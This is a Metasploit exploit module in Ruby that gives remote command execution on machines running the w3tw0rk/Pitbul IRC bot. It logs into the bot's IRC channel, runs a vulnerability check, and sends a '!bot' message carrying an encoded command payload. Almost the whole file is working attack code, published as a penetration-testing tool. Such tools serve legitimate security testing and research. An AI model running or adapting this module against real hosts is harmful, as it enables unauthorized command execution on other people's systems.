160 lines
3.9 KiB
Ruby
160 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'w3tw0rk / Pitbul IRC Bot Remote Code Execution',
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'Description' => %q{
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This module allows remote command execution on the w3tw0rk / Pitbul IRC Bot.
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},
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'Author' =>
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[
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'Jay Turla'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '120384' ],
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[ 'EDB', '36652' ]
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],
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Targets' =>
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[
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[ 'w3tw0rk', { } ]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 04 2015',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(6667),
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OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
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OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
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OptString.new('CHANNEL', [true, 'IRC Channel', '#channel'])
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], self.class)
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end
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def check
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connect
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res = register(sock)
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if res =~ /463/ || res =~ /464/
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vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return Exploit::CheckCode::Unknown
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end
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res = join(sock)
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if !res =~ /353/ && !res =~ /366/
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vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return Exploit::CheckCode::Unknown
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end
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quit(sock)
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disconnect
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if res =~ /auth/ && res =~ /logged in/
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Exploit::CheckCode::Vulnerable
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else
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Exploit::CheckCode::Safe
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end
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end
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def send_msg(sock, data)
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sock.put(data)
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data = ""
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begin
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read_data = sock.get_once(-1, 1)
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while !read_data.nil?
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data << read_data
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read_data = sock.get_once(-1, 1)
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end
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rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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end
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data
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end
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def register(sock)
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msg = ""
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if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty?
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msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
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end
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if datastore['NICK'].length > 9
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nick = rand_text_alpha(9)
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print_error("The nick is longer than 9 characters, using #{nick}")
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else
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nick = datastore['NICK']
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end
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msg << "NICK #{nick}\r\n"
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msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
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send_msg(sock,msg)
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end
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def join(sock)
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join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
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send_msg(sock, join_msg)
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end
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def w3tw0rk_command(sock)
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encoded = payload.encoded
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command_msg = "PRIVMSG #{datastore['CHANNEL']} :!bot #{encoded}\r\n"
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send_msg(sock, command_msg)
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end
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def quit(sock)
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quit_msg = "QUIT :bye bye\r\n"
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sock.put(quit_msg)
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end
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def exploit
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connect
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print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
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res = register(sock)
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if res =~ /463/ || res =~ /464/
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print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
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return
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end
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print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
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res = join(sock)
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if !res =~ /353/ && !res =~ /366/
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print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
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return
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end
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print_status("#{rhost}:#{rport} - Exploiting the IRC bot...")
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w3tw0rk_command(sock)
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quit(sock)
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disconnect
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end
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end
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